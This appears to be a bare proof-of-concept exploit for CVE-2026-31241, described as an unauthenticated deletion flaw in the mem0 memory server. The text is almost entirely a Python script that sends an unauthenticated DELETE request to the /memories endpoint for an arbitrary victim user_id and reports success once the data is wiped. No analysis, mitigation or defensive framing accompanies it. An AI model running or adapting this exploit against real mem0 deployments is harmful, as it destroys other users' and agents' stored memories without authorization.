CVE-2026-31241 mem0未授权删除漏洞

import requests # Target URL of the vulnerable mem0 server target_url = "http://127.0.0.1:8000/memories" # Arbitrary user identifier (user_id, run_id, or agent_id) # The attacker does not need to be authenticated as this user params = { "user_id": "victim_user_123" } try: # Send unauthenticated DELETE request response = requests.delete(target_url, params=params) if response.status_code == 200: print("[+] Exploit successful! Memory data deleted.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")